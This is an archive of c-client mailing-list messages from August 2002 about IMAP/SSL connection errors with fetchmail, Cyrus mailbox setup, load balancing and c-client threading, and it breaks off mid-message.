18:07:19 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7D17EJX021728 for ; Mon, 12 Aug 2002 18:07:19 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7D17DAk006109; Mon, 12 Aug 2002 21:07:13 -0400 Message-Id: <200208130107.g7D17DAk006109@angle.badbox.com> Date: Mon, 12 Aug 2002 21:07:13 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com To: c-client@u.washington.edu Subject: imap/ssl v. fetchmail --ssl? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings -- I'm trying to test c-client 2002.RC2 ssl connection with fetchmail --ssl. Here's what I'm getting, after building everything as described in SSLBUILD, and the latest fetchmail, and all with the latest OpenSSL: # fetchmail --ssl --sslproto tls1 -p imap -u alexy localhost Enter password for alexy@localhost: 6063:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:279: fetchmail: SSL connection failed. And in the logs we see: Aug 12 20:58:04 angle imapd[6065]: Connection reset by peer, while flushing line user=??? host=UNKNOWN Now, when I'm forcing --ssl2, the thing just waits forever. Without --sslproto, we get: # fetchmail --ssl -p imap -u alexy localhost Enter password for alexy@localhost: 6102:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:460: fetchmail: SSL connection failed. and same in the logs: Aug 12 21:02:09 angle imapd[6104]: Connection reset by peer, while flushing line user=??? host=UNKNOWN I'm running imaps service under xinetd, its logs says: 02/8/12@20:58:04: START: imaps from=::ffff:127.0.0.1 02/8/12@20:58:04: EXIT: imaps status=1 duration=0(sec) 02/8/12@21:02:09: START: imaps from=::ffff:127.0.0.1 02/8/12@21:02:09: EXIT: imaps status=1 duration=0(sec) Netscape with SSL hangs forever similarly to --sslproto ssl2, and imapd times it out after 180 seconds. I've tried these combinations of make: make slx SSLTYPE=unix make slx SSLTYPE=nopwd make lnp SSLTYPE=unix Is there something I'm missing in trying to run imap/ssl? Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 02:57:08 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 02:57:08 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7D9v82P024112 for ; Tue, 13 Aug 2002 02:57:08 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 13 02:57:06 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7D9v507028751 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 02:57:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7D9uVR8057436; Tue, 13 Aug 2002 02:56:32 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7D97beY025110 for ; Tue, 13 Aug 2002 02:07:37 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Aug 13 02:07:36 2002 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7D97Ybr018782 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 13 Aug 2002 02:07:36 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.3/8.12.2) with ESMTP id g7D97WvO003713 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 13 Aug 2002 11:07:32 +0200 (MEST) Message-Id: <80150000.1029229640@mail1.rrz.Uni-Koeln.DE> Date: Tue, 13 Aug 2002 11:07:20 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: braver@pobox.com Cc: c-client@u.washington.edu Subject: Re: imap/ssl v. fetchmail --ssl? In-Reply-To: <200208130107.g7D17DAk006109@angle.badbox.com> References: <200208130107.g7D17DAk006109@angle.badbox.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========83305628==========" X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========83305628========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Monday, August 12, 2002 21:07:13 -0400 braver@pobox.com wrote: > Here's what I'm getting, after building everything as described in > SSLBUILD, and the latest fetchmail, and all with the latest OpenSSL: > > # fetchmail --ssl --sslproto tls1 -p imap -u alexy localhost > Enter password for alexy@localhost: > 6063:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version > number:s3_pkt.c:279: fetchmail: SSL connection failed. This reminds me of a problem I once had with Mulberry. fetchmail seems to=20 use SSLv23_client_method over TLS. It should use TLSv1_client_method. You=20 write > Now, when I'm forcing --ssl2, the thing just waits forever. Without > --sslproto, we get: > > # fetchmail --ssl -p imap -u alexy localhost > Enter password for alexy@localhost: > 6102:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown > protocol:s23_clnt.c:460: fetchmail: SSL connection failed. Sounds to me like the *right* way to call it would be: # fetchmail --ssl --sslproto ssl3 -p imap -u alexy localhost But that's just a guess, I'm no expert ... -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Being just contaminates the void - Robyn Hitchcock --==========83305628========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (SunOS) Comment: For info see http://www.gnupg.org iD8DBQE9WMxTGXsGmU0QW0URAoVYAJ9IGkoveMkEgvYrz9SXLrKd2M2ElwCfSFf5 dlCAN0fbnkTRLHGGcqjJOqw= =bAOC -----END PGP SIGNATURE----- --==========83305628==========-- From pinedev@shivax2.cac.washington.edu Tue Aug 13 05:53:21 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 05:53:21 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DCrL2P028881 for ; Tue, 13 Aug 2002 05:53:21 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 13 05:53:20 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DCrEEN026567 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 05:53:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DCqceo024032; Tue, 13 Aug 2002 05:52:38 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DCnpeY099760 for ; Tue, 13 Aug 2002 05:49:51 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 13 05:49:50 2002 -0700 Received: from envelope.rose-hulman.edu ([137.112.8.21]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DCnoJY032052 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 13 Aug 2002 05:49:50 -0700 Received: from babylon5.rose-hulman.edu (babylon5.rose-hulman.edu [137.112.0.66]) by envelope.rose-hulman.edu (8.11.6/8.11.6) with ESMTP id g7DCnmg24070 for ; Tue, 13 Aug 2002 07:49:48 -0500 (EST) Message-Id: <1029242987.32505.12.camel@babylon5> Date: 13 Aug 2002 07:49:47 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mitchell D. Baker" To: c-client@u.washington.edu Subject: Will this work? Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to setup 2 imaps servers... Same name in DNS but different IP's so we would get a round-robin form the DNS.. low grade load balancing... Will this work? How would the CERTS be setup to make this function... Anyone trying this? Thanks See-ya Mitch -- /####################################################################/ /# Mitchell "Buzz" Baker "To Infinity And Beyond..." #/ /# Sr. Systems/Security Admin Rose-Hulman Institute of Technology #/ /# Mitchell.D.Baker@rose-hulman.edu www.rose-hulman.edu #/ /# For PGP Public key, check out www.keyserver.net #/ /####################################################################/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 06:10:39 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 06:10:39 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DDAd2P029207 for ; Tue, 13 Aug 2002 06:10:39 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Aug 13 06:10:38 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DDAc07032394 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 06:10:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DD9dR8037820; Tue, 13 Aug 2002 06:09:39 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DD7SeY085266 for ; Tue, 13 Aug 2002 06:07:28 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 13 06:07:27 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DD7Qs8005009 for ; Tue, 13 Aug 2002 06:07:26 -0700 Received: (qmail 22551 invoked by uid 0); 13 Aug 2002 13:07:25 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp011-rz3) with SMTP; 13 Aug 2002 13:07:25 -0000 Message-Id: <007501c242cb$86341630$500b3e8d@hdmstuttgart.de> Date: Tue, 13 Aug 2002 15:15:41 +0200 Reply-To: "andy" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: , MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0072_01C242DC.497E5690" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0072_01C242DC.497E5690 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there, I did just install cyrus and now I am able to login to my local imap = server. The problem is, that I do not get the mail which is definatelly located = on the server. I did double check this, the mail arrived and I can view = it with pine. Using the same mailaccount it shows me an empty inbox = folder inside horde ( a webmailer). I am not even able to create folders inside this account. I did try to = use a commecial imap account, and this works fine. Can anybody give me a hint on how I can proceed? Maybe there is = something I have to tell cyrus to get the mail? Thanx for any help on that, Andy ------=_NextPart_000_0072_01C242DC.497E5690 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi there,
     
    I did just install cyrus and now I am = able to login=20 to my local imap server.
     
    The problem is, that I do not get the = mail which is=20 definatelly located on the server. I did double check this, the mail = arrived and=20 I can view it with pine. Using the same mailaccount it shows me an empty = inbox=20 folder inside horde ( a webmailer).
     
    I am not even able to create folders = inside this=20 account. I did try to use a commecial imap account, and this works=20 fine.
     
    Can anybody give me a hint on how I can = proceed?=20 Maybe there is something I have to tell cyrus to get the = mail?
     
    Thanx for any help on = that,
     
    Andy
     
    ------=_NextPart_000_0072_01C242DC.497E5690-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 06:12:24 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 06:12:24 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DDCN2P029225 for ; Tue, 13 Aug 2002 06:12:23 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 13 06:12:22 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DDCI07032423 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 06:12:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DDBglZ005714; Tue, 13 Aug 2002 06:11:42 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DD8ZeY101338 for ; Tue, 13 Aug 2002 06:08:35 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 13 06:08:34 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DD8Xs8005203 for ; Tue, 13 Aug 2002 06:08:34 -0700 Received: (qmail 14101 invoked by uid 0); 13 Aug 2002 13:08:33 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp019-rz3) with SMTP; 13 Aug 2002 13:08:33 -0000 Message-Id: <009501c242cb$ae3cf520$500b3e8d@hdmstuttgart.de> Date: Tue, 13 Aug 2002 15:16:48 +0200 Reply-To: "andy" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: , Subject: Problems with imap MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0092_01C242DC.71870E70" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0092_01C242DC.71870E70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there, I did just install cyrus and now I am able to login to my local imap = server. The problem is, that I do not get the mail which is definatelly located = on the server. I did double check this, the mail arrived and I can view = it with pine. Using the same mailaccount it shows me an empty inbox = folder inside horde ( a webmailer). I am not even able to create folders inside this account. I did try to = use a commecial imap account, and this works fine. Can anybody give me a hint on how I can proceed? Maybe there is = something I have to tell cyrus to get the mail? Thanx for any help on that, Andy ------=_NextPart_000_0092_01C242DC.71870E70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi there,
     
    I did just install cyrus and now I am = able to login=20 to my local imap server.
     
    The problem is, that I do not get the = mail which is=20 definatelly located on the server. I did double check this, the mail = arrived and=20 I can view it with pine. Using the same mailaccount it shows me an empty = inbox=20 folder inside horde ( a webmailer).
     
    I am not even able to create folders = inside this=20 account. I did try to use a commecial imap account, and this works=20 fine.
     
    Can anybody give me a hint on how I can = proceed?=20 Maybe there is something I have to tell cyrus to get the = mail?
     
    Thanx for any help on = that,
     
    Andy
     
    ------=_NextPart_000_0092_01C242DC.71870E70-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 11:02:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 11:02:48 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DI2m2P006586 for ; Tue, 13 Aug 2002 11:02:48 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Aug 13 11:02:47 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DI2gEN003426 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 11:02:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DI25R8068662; Tue, 13 Aug 2002 11:02:05 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DHxEeY087362 for ; Tue, 13 Aug 2002 10:59:14 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 13 10:59:13 2002 -0700 Received: from imail01.net2phone.com (imail01.net2phone.com [66.33.145.25]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DHxCR8006353 for ; Tue, 13 Aug 2002 10:59:13 -0700 Received: from mailsvr.net2phone.com (exchange.net2phone.com [216.53.60.1]) by imail01.net2phone.com (8.12.2/8.12.2) with ESMTP id g7DHxCPu029862 for ; Tue, 13 Aug 2002 13:59:12 -0400 (EDT) Received: by mailsvr with Internet Mail Service (5.5.2653.19) id ; Tue, 13 Aug 2002 13:59:12 -0400 Message-Id: <6F46FABB90ABD411BD690002B3152FB9D9E56A@lkwmail01> Date: Tue, 13 Aug 2002 13:53:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Feiyu Xie To: "'c-client@u.washington.edu'" Subject: c-client function calls are synchronized? MIME-Version: 1.0 Content-Type: text/plain; charset="GB2312" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, Apologize if the questions is duplicated. I'm working on a program that need a IMAP client. I want it to be asynchronized (non-blocking network I/O) and single threaded. i.e. there will be a loop does some sort of event polling, and event will get dispatched in some way. I don't see such a polling function in c-client, and when I look at the code in imap4r1.c, seems to me the code will send a request, wait for the reply, parse it and then call back to main program. All these are done sequentially. For instance, when imap_lsub gets called, it will call imap_list_work which will call imap_send to send the request, and read the reply and calls mm_lsub right in the function. So my question is: when using IMAP, does a call to mail_lsub will not return until the result is returned from the IMAP server? Is there a way to do this in a non-blocking, asynchronized manner? thanks in advance! --Feiyu Xie -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 12:18:31 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 12:18:31 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DJIV2P009608 for ; Tue, 13 Aug 2002 12:18:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Aug 13 12:18:29 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DJIT07011584 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 12:18:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DJHelZ023812; Tue, 13 Aug 2002 12:17:40 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DJEpeY015420 for ; Tue, 13 Aug 2002 12:14:51 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 13 12:14:50 2002 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DJEnbq023092 for ; Tue, 13 Aug 2002 12:14:50 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA00388; Tue, 13 Aug 2002 15:14:49 -0400 Received: from hickory by islet.zk3.dec.com (8.12.3/1.1.2.11/22Jul02-0533PM) id g7DJEbcO245132; Tue, 13 Aug 2002 15:14:37 -0400 (EDT) Message-Id: <022101c242fd$d4425030$57008d10@zk3.dec.com> Date: Tue, 13 Aug 2002 15:15:46 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: Is c-client thread-safe? References: <6F46FABB90ABD411BD690002B3152FB9D9E56A@lkwmail01> Mime-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't know the answer to The previous question ("c-client function calls are synchronized?"), but it reminds me of a related question. Is c-client thread-safe? I'll guess the answer to both questions is "no," based on the static data I see. I'm wondering because PHP can be built with the c-client library to provide IMAP client capabilities. Apache 2.0 is muti-threaded, with each apache process handling multiple requests, each in a different thread. Is this going to lead to problems with webmail applications like IMP? Peter -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 13 15:37:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 15:37:14 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7DMbE2P016866 for ; Tue, 13 Aug 2002 15:37:14 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 13 15:37:13 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DMb7EN012574 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 15:37:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DMadeo093646; Tue, 13 Aug 2002 15:36:39 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7DMXmeY015526 for ; Tue, 13 Aug 2002 15:33:48 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 13 15:33:47 2002 -0700 Received: from cmailm2.svr.pol.co.uk (cmailm2.svr.pol.co.uk [195.92.193.210]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7DMSNJX024856 for ; Tue, 13 Aug 2002 15:28:24 -0700 Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by cmailm2.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17ek9F-0003P5-00; Tue, 13 Aug 2002 23:28:21 +0100 Received: from modem-3020.bear.dialup.pol.co.uk ([217.134.43.204]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17ek9F-00052h-00; Tue, 13 Aug 2002 23:28:21 +0100 Message-Id: Date: Tue, 13 Aug 2002 23:28:15 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: Peter Derr Cc: c-client@u.washington.edu Subject: Re: Is c-client thread-safe? In-Reply-To: <022101c242fd$d4425030$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 13 Aug 2002, Peter Derr wrote: > I don't know the answer to The previous question ("c-client function calls > are synchronized?"), but it reminds me of a related question. Is c-client > thread-safe? I'll guess the answer to both questions is "no," based on the > static data I see. Peter, I've read comment on this group before that c-client is thread safe. Furthermore, I have written a threaded application using c-client without problem. The global static data is fine. --mte From pinedev@shivax2.cac.washington.edu Tue Aug 13 19:28:53 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Aug 2002 19:28:53 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7E2Sq2P023426 for ; Tue, 13 Aug 2002 19:28:52 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 13 19:28:46 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7E2Sk07024348 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 13 Aug 2002 19:28:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7E2SCR8035662; Tue, 13 Aug 2002 19:28:12 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7E2PBeY077586 for ; Tue, 13 Aug 2002 19:25:11 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 13 19:25:10 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7E2P4R8015136 for ; Tue, 13 Aug 2002 19:25:09 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7E2P3FD011261; Tue, 13 Aug 2002 22:25:03 -0400 Message-Id: <200208140225.g7E2P3FD011261@angle.badbox.com> Date: Tue, 13 Aug 2002 22:25:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com To: c-client@u.washington.edu Subject: change password X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In fact, I tried all protocols, seems like they all give error messages about SSL3. I also tried mutt, pine, and Netscape, and they all either give the same error in the log (can't connect, line flushed with 